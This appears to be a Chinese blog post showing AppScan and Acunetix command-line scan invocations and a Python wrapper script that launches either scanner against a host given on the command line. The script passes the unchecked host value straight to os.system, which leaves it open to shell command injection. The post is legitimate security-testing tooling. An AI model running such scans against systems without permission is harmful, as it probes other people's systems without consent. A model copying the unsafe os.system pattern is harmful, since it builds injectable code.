AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Application /rt Html /rf d:\localhost.Html
比较有效的


AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Infrastructure /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev High /tt All /rt Html /rf d:\localhost.Html

然后是AWVS

wvs_console /Scan http://127.0.0.1  /Profile ws_default /saveFolder d:\ --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf

于是稍微整理下

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com
import sys,os
from optparse import OptionParser 

appscancmd = r'D:\\"Program Files"\\IBM\\"AppScan Standard"\\AppScanCMD.exe'
wvs_console = r'D:\\"Program Files"\\Acunetix\\"Scanner"\\wvs_console.exe'
saveFolder = r'D:\\work\\'

def init_parser():
    usage = "Usage: %prog --host http://www.example.com --scan awvs"
    parser = OptionParser(usage=usage, description="AppScanCMD AND AWVS_console scan")
    parser.add_option("--host", type="str", dest="host", help="remote host name")
    parser.add_option("--scan", type="str", dest="command", help="chose what scan.just appscan and wvscmd")
    return parser

def scan(url,scan):
        if 'http' in url:
                name = url.split('//')[1].replace('/','')
                url = url
        else:
                name = url.replace('\n','')
                url = 'http://'+url
        #appcmd = ('%s /e /su %s /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt pdf /rf d:\\work\\%s\\appscan.pdf')%(appscancmd,url,name)
        appcmd = ('%s /e /su %s /st d:\\self.scant /msev Medium /tt All /rt pdf /rf %s%s\\appscan.pdf')%(appscancmd,url,saveFolder,name)
        wvscmd =('%s /Scan %s  /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf')%(wvs_console,url,saveFolder,name)
        if 'appscan' in scan:
            cmd = appcmd
        else:
            cmd = wvscmd
        os.system(cmd)

def main():
    parser = init_parser()
    option, _ = parser.parse_args()
    domain = option.host
    command  = option.command

    if not domain:
        parser.print_help()
        sys.exit(0)

    domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
    domain = domain if not domain.endswith('/') else domain[:-1]
    return scan(domain,command)


if __name__ == "__main__":
        main()

使用的方法也是很简单

python scan.py
Usage: scan.py --host http://www.example.com --scan awvs

AppScanCMD AND AWVS_console scan

Options:
  -h, --help      show this help message and exit
  --host=HOST     remote host name
  --scan=COMMAND  chose what scan.just appscan and wvscmd

awvs

发现野生的设计一枚.

扫描核心为awvs console,用nginx反向代理+DNSsever解决了,登录认证问题(大部分情况)